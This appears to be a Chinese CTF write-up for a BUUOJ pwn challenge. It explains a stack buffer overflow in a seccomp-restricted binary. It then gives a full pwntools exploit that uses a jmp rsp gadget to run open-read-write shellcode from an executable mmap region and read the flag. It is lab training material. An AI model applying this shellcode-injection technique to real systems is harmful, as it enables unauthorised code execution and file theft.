附件
步骤
64位ida载入
百度一下关于mmap函数的介绍
把从0x123000开始的地址,大小为0x1000的长度,权限改为可写可执行
sub_400949(),沙盒过滤
使用seccomp-tools dump ./bad
查看一下哪些函数可以使用
发现只有read,write,open,exit可以使用,估计这题应该是使用open-->read-->write
这样的orw的方式获取flag了
sub_400906()
sub_400A16(),明显的溢出漏洞
这题的思路很简单,写入orw类型的shellcode,然后跳转去执行,buf的大小只有0x20,感觉不够我们写全rop攻击链,程序一开始的时候给我们开辟了0x100可执行的空间,打算在这边写shellcode,然后利用buf的溢出跳转过来执行我们的shellcode
先写一下orw的shellcode
mmap=0x123000
orw_payload=shellcraft.open('./flag') #打开根目录下的flag文件
orw_payload+=shellcraft.read(3,mmap,0x50) #读取文件标识符是3的文件0x50个字节存放到mmap分配的地址空间里
orw_payload+=shellcraft.write(1,mmap,0x50) #将mmap地址上的内容输出0x50个字节
关于文件描述符fd的具体看这篇文章,我这边简单说一下。
read里的fd写3是因为程序执行的时候文件描述符是从3开始的,write里的1是标准输出到显示器,这些知识点在我给的链接里有。
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
这样buf里的rop就达到了我们想要的目的,下面就要想办法让buf里的内容被执行
发现该程序有jmp rsp,利用它可以跳转到buf去执行,buf地址是rsp-0x30,
sub rsp,0x30;jmp rsp小于8字节满足要求。
buf处的完整rop攻击链
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')#buf里的rop是往mmap里读入0x100长度的数据,跳转到mmap的地址执行
payload=payload.ljust(0x28,'\x00')#buf的大小是0x20,加上rbp0x8是0x28,用’\x00‘去填充剩下的位置
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')#返回地址写上跳转到rsp
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
这样buf里面的rop也构造好了,剩下的只要传入orw_payload即可读出flag
完整exp
from pwn import *
context.arch='amd64'
elf = ELF('./bad')
p = remote('node3.buuoj.cn',28461)
mmap=0x123000
orw_payload = shellcraft.open("./flag")
orw_payload += shellcraft.read(3, mmap, 0x50)
orw_payload += shellcraft.write(1, mmap,0x50)
jmp_rsp=0x400A01
payload=asm(shellcraft.read(0,mmap,0x100))+asm('mov rax,0x123000;call rax')
payload=payload.ljust(0x28,'\x00')
payload+=p64(jmp_rsp)+asm('sub rsp,0x30;jmp rsp')
p.recvuntil('Easy shellcode, have fun!')
p.sendline(payload)
shellcode=asm(orw_payload)
p.sendline(shellcode)
p.interactive()